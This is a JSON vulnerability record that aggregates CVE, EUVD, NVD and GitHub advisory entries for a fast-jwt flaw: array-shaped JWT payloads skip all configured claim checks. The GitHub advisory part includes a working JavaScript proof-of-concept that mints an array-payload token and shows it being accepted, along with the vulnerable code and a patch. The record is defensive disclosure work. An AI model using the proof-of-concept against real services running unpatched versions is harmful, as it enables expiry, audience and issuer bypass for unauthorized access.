{"id":"EUVD-2026-95348","revision":null,"records":[{"revision":"32e4e931d38e4465b9ccab347b35b238","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-107723","aliases":[],"title":"fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.","state":0,"publishedAt":"2026-10-08T21:51:22.183+00:00","modifiedAt":"2026-10-14T01:25:44.088+00:00","affected":[{"ecosystem":"Vendor product","name":"fast-jwt","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nearform\",\n                    \"product\": \"fast-jwt\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 6.3.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-5hjw-83fp-phq9","https://github.com/nearform/fast-jwt/pull/639","https://github.com/nearform/fast-jwt/commit/86e83efd8b5244f50859532d99244f0a9a9a4368","https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-107723","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-107723","identifiers":["CVE-2026-107723"]},"retained":false,"historicalAffected":[]},{"revision":"141e9cea8e1d4eed928eccdec8933f25","observedAt":"2026-11-09T05:08:09.787+00:00","statement":{"source":"euvd","id":"EUVD-2026-95348","aliases":["CVE-2026-107723","GHSA-5hjw-83fp-phq9"],"title":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject a…","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"severity":null}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-5hjw-83fp-phq9","https://github.com/nearform/fast-jwt/pull/639","https://github.com/nearform/fast-jwt/commit/86e83efd8b5244f50859532d99244f0a9a9a4368","https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-95348","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 8, 2026, 9:51:22 PM","dateUpdated":"Oct 14, 2026, 1:25:44 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-95348","identifiers":["EUVD-2026-95348","CVE-2026-107723","GHSA-5hjw-83fp-phq9"]},"retained":false,"historicalAffected":[]},{"revision":"f540da61218646e4ba7c4dabc9799f71","observedAt":"2026-10-25T05:17:13.11+00:00","statement":{"source":"nvd","id":"CVE-2026-107723","aliases":[],"title":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject a…","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.","state":0,"publishedAt":"2026-10-08T22:17:28.623+00:00","modifiedAt":"2026-10-14T02:16:57.877+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"}],"references":["https://github.com/nearform/fast-jwt/commit/86e83efd8b5244f50859532d99244f0a9a9a4368","https://github.com/nearform/fast-jwt/pull/639","https://github.com/nearform/fast-jwt/releases/tag/v6.3.0","https://github.com/nearform/fast-jwt/security/advisories/GHSA-5hjw-83fp-phq9"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107723","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-1287"],"productCriteria":[],"sourceDates":{"published":"2026-10-08T22:17:28.623","lastModified":"2026-10-14T02:16:57.877"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-107723","identifiers":["CVE-2026-107723"]},"retained":false,"historicalAffected":[]},{"revision":"d330b6f298f94fedbcac0bd7686aea59","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-5hjw-83fp-phq9","aliases":["CVE-2026-107723"],"title":"fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array","description":"### Summary\n `fast-jwt`'s `createVerifier` silently skips **all** configured claim validators (`exp`, `nbf`, `iss`, `aud`, `sub`, `jti`, `nonce`) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented `allowedIss` / `allowedAud` / `allowedSub` / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object.\n\n### Details\nThe decoder validates the **header** is a non-array object but the **payload** check is missing the `Array.isArray` guard:\n\n  ```javascript\n  // src/decoder.js:49 — header check (correct)\n  if (!header || typeof header !== 'object' || Array.isArray(header)) {\n    throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.')\n  }\n\n  // src/decoder.js:65 — payload check (vulnerable)\n  if (!payload || typeof payload !== 'object') {     // typeof [] === 'object'\n    throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })\n  }\n\n  Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.\n\n  In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only\n  numeric indices and length):\n\n  // src/verifier.js:304-323\n  for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {\n    const value = payload[claim]\n    ...\n    if (!(claim in payload)) {     // 'exp' in [] === false, 'iss' in [] === false, etc.\n      continue                      // every validator silently skipped\n    }\n    ...\n  }\n\n  Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error\n  returned to the caller. The verifier returns the array as the payload.\n\n  requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is\n  opt-in and not commonly configured.\n\n  GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates\n  inside the validator loop body and is never reached for this variant.\n```\n\n### PoC\n\n  ```javascript\nconst { createVerifier } = require('fast-jwt')\n  const crypto = require('crypto')\n\n  const key = 'shared-secret'\n  const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')\n  const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')\n  const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')\n  const token = `${header}.${payload}.${sig}`\n\n  const verify = createVerifier({\n    key,\n    allowedIss: ['legit-issuer'],\n    allowedAud: ['legit-audience'],\n    allowedSub: ['legit-subject']\n    // exp enforcement is on by default\n  })\n\n  console.log(verify(token))\n  // Output: [ 'attacker', 'role:admin' ]\n  // No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.\n\n  // Control: an object payload with the same garbage claims is correctly rejected:\n  const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')\n  const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')\n  verify(`${header}.${bad}.${sig2}`)\n  // Throws: \"The token has expired at 1970-01-01T00:00:01.000Z.\"\n\n  Verified against fast-jwt v6.2.4 (current master, commit a510448).\n\n```\n\n  Suggested patch (src/decoder.js:65):\n\n  - if (!payload || typeof payload !== 'object') {\n  + if (!payload || typeof payload !== 'object' || Array.isArray(payload)) {\n      throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })\n    }\n\n  This mirrors the existing header guard at line 49.\n\n### Impact\nType: Silent authorization-validator bypass. When a validly-signed JWT carries a JSON array as its payload, createVerifier skips every configured claim validator (exp, nbf, iss/allowedIss, aud/allowedAud, sub/allowedSub, jti, nonce) and returns success. Only the signature is actually checked; the verifier gives no error or warning that the configured defenses did not run.\n\nWho is impacted: Any application using fast-jwt's createVerifier with claim-validation options and where an attacker can produce or\n   influence a validly-signed token. The realistic deployments are:\n\n  - Shared-HMAC microservice meshes — any party holding the secret can mint a token accepted by every other verifier with audience, issuer, and expiry enforcement disabled.\n  - Multi-tenant token issuers and SSO backends — a tenant or upstream caller able to influence payload shape can obtain\n  forever-tokens accepted platform-wide.\n  - Delegated signing / weak issuer-side input validation — any issuer that serializes attacker-controlled JSON into the payload\n  without enforcing object shape.\n\n  Consequences: forever-tokens (expiry bypass), cross-service replay (audience bypass), issuer spoofing in federated/OIDC setups,\n  revocation-list bypass via missing jti, OIDC nonce replay, and audit-trail corruption (payload.sub is undefined so authenticated\n  requests appear unattributable in logs).","state":0,"publishedAt":"2026-10-08T22:01:58+00:00","modifiedAt":"2026-10-08T22:15:05.9042114+00:00","affected":[{"ecosystem":"npm","name":"fast-jwt","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-5hjw-83fp-phq9","https://github.com/nearform/fast-jwt/pull/639","https://github.com/nearform/fast-jwt/commit/86e83efd8b5244f50859532d99244f0a9a9a4368","https://github.com/nearform/fast-jwt","https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-5hjw-83fp-phq9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5hjw-83fp-phq9","identifiers":["GHSA-5hjw-83fp-phq9","CVE-2026-107723"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T06:04:36.9417469+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T06:04:36.9417469+00:00","lastSuccessAt":"2026-11-10T06:04:37.1495753+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:37.1495759+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-f6cc9b12cdb581c8c26d0d42311ec22aefb7992e88ee12bd79a0c89f476e29ff","complete":true,"records":421887,"lastAttemptAt":"2026-11-10T06:02:15.6675427+00:00","lastSuccessAt":"2026-11-10T06:02:15.5673353+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:02:15.6675427+00:00","snapshotPublishedAt":"2026-11-10T05:23:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T06:05:35.0354037+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T06:04:36.9417469+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T06:04:36.9417469+00:00","lastSuccessAt":"2026-11-10T06:04:37.1503787+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:37.1503789+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dcb6f23f313c40328d8b679af29a76c8","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T06:05:02.8914576+00:00","lastSuccessAt":"2026-11-10T06:05:02.887+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T06:05:02.887+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T06:04:29.7401591+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:29.7401591+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T06:02:15.7348582+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:02:15.7348582+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-14f555fdbdce5e9103ab1251a692b612ea1fcd0b3d538af6015a071f4b299249","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T06:04:36.8991666+00:00","lastSuccessAt":"2026-11-10T06:04:36.7449268+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:36.8991666+00:00","snapshotPublishedAt":"2026-11-10T05:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-5b9134a1c92c7f3c542fa77c730904ae6f13b772cb6b6707fc58983c93af0933","complete":true,"records":231596,"lastAttemptAt":"2026-11-10T06:04:29.6144485+00:00","lastSuccessAt":"2026-11-10T06:04:28.0373789+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:29.6144485+00:00","snapshotPublishedAt":"2026-11-10T05:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}